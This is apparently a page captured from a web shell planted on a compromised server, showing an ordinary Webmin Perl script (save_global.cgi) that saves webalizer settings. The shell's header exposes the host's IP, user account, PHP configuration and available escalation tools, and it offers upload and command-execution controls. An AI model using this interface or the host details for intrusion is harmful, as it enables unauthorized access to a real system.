Private
Server IP : 195.201.23.43  /  Your IP : 3.17.156.160
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/webalizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/webmin/webalizer/save_global.cgi
#!/usr/bin/perl
# save_global.cgi
# Save options to a webalizer.conf file

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';
our (%text, %config, %gconfig, %access, $module_name, %in, $remote_user);
require './webalizer-lib.pl';
&error_setup($text{'global_err'});
$access{'view'} && &error($text{'edit_ecannot'});
&ReadParse();
!$in{'file'} || &can_edit_log($in{'file'}) || &error($text{'edit_ecannot'});
$in{'file'} || $access{'global'} || &error($text{'edit_ecannot'});

my $cfile = &config_file_name($in{'file'}) if ($in{'file'});
if ($in{'delete'}) {
	# Just delete the configuration for this logfile
	&unlink_logged($cfile);
	&redirect("");
	exit;
	}

&lock_file($cfile || $config{'webalizer_conf'});
my $conf = &get_config($in{'file'});

# Validate and store inputs
if ($in{'report_def'}) {
	&save_directive($conf, "ReportTitle");
	}
else {
	$in{'report'} =~ /\S/ || &error($text{'global_ereport'});
	&save_directive($conf, "ReportTitle", $in{'report'});
	}

if ($in{'host_def'}) {
	&save_directive($conf, "HostName");
	}
elsif (defined($in{'host'})) {
	$in{'host'} =~ /^\S+$/ || &error($text{'global_ehost'});
	&save_directive($conf, "HostName", $in{'host'});
	}

my @pages = split(/\s+/, $in{'page'});
&save_directive($conf, "PageType", @pages);

my @index = split(/\s+/, $in{'index'});
&save_directive($conf, "IndexAlias", @index);

if ($in{'gmt'}) {
	&save_directive($conf, "GMTTime", "yes");
	}
else {
	&save_directive($conf, "GMTTime");
	}

if ($in{'fold'}) {
	&save_directive($conf, "FoldSeqErr", "yes");
	}
else {
	&save_directive($conf, "FoldSeqErr");
	}

if ($in{'visit_def'}) {
	&save_directive($conf, "VisitTimeout");
	}
else {
	$in{'visit'} =~ /^\d+$/ || &error($text{'global_evisit'});
	&save_directive($conf, "VisitTimeout", $in{'visit'});
	}

if ($in{'dns_def'}) {
	&save_directive($conf, "DNSChildren");
	}
else {
	$in{'dns'} =~ /^\d+$/ || &error($text{'global_edns'});
	&save_directive($conf, "DNSChildren", $in{'dns'});
	}

if ($in{'history_def'}) {
	&save_directive($conf, "HistoryName");
	}
else {
	$in{'history'} =~ /^\S+$/ || &error($text{'global_ehistory'});
	&save_directive($conf, "HistoryName", $in{'history'});
	}

if ($in{'current_def'}) {
	&save_directive($conf, "IncrementalName");
	}
else {
	$in{'current'} =~ /^\S+$/ || &error($text{'global_ecurrent'});
	&save_directive($conf, "IncrementalName", $in{'current'});
	}

if ($in{'cache_def'}) {
	&save_directive($conf, "DNSCache");
	}
else {
	$in{'cache'} =~ /^\S+$/ || &error($text{'global_ecache'});
	&save_directive($conf, "DNSCache", $in{'cache'});
	}

foreach my $g ('DailyGraph', 'DailyStats', 'HourlyGraph',
	       'HourlyStats', 'CountryGraph', 'GraphLegend') {
	if ($in{$g}) {
		&save_directive($conf, $g);
		}
	else {
		&save_directive($conf, $g, "no");
		}
	}

foreach my $t ('TopSites', 'TopKSites', 'TopURLs', 'TopKURLs', 'TopReferrers',
	       'TopAgents', 'TopCountries', 'TopEntry', 'TopExit',
	       'TopSearch', 'TopUsers') {
	if ($in{"${t}_def"} == 1) {
		&save_directive($conf, $t);
		}
	elsif ($in{"${t}_def"} == 2) {
		&save_directive($conf, $t, "0");
		}
	else {
		$in{$t} =~ /^\d+$/ || &error(&text('global_etable',
						   $text{"global_$t"}));
		&save_directive($conf, $t, $in{$t});
		}
	}

foreach my $a ('AllSites', 'AllURLs', 'AllReferrers', 'AllAgents',
	       'AllSearchStr', 'AllUsers') {
	if ($in{$a}) {
		&save_directive($conf, $a, "yes");
		}
	else {
		&save_directive($conf, $a);
		}
	}

foreach my $hid ("HideURL", "HideSite", "HideReferrer",
	         "HideUser", "HideAgent") {
	my @hidv = split(/\s+/, $in{lc($hid)});
	&save_directive($conf, $hid, @hidv);
	}

foreach my $ign ("IgnoreURL", "IgnoreSite", "IgnoreReferrer",
	         "IgnoreUser", "IgnoreAgent") {
	my @ignv = split(/\s+/, $in{lc($ign)});
	&save_directive($conf, $ign, @ignv);
	}

foreach my $inc ("IncludeURL", "IncludeSite", "IncludeReferrer",
	         "IncludeUser", "IncludeAgent") {
	my @incv = split(/\s+/, $in{lc($inc)});
	&save_directive($conf, $inc, @incv);
	}

&flush_file_lines();
&unlock_file($cfile || $config{'webalizer_conf'});
&webmin_log("modify", "global", $in{'file'});
&redirect($in{'file'} ? "edit_log.cgi?file=".&urlize($in{'file'}).
		        "&type=$in{'type'}&custom=$in{'custom'}" : "");

Private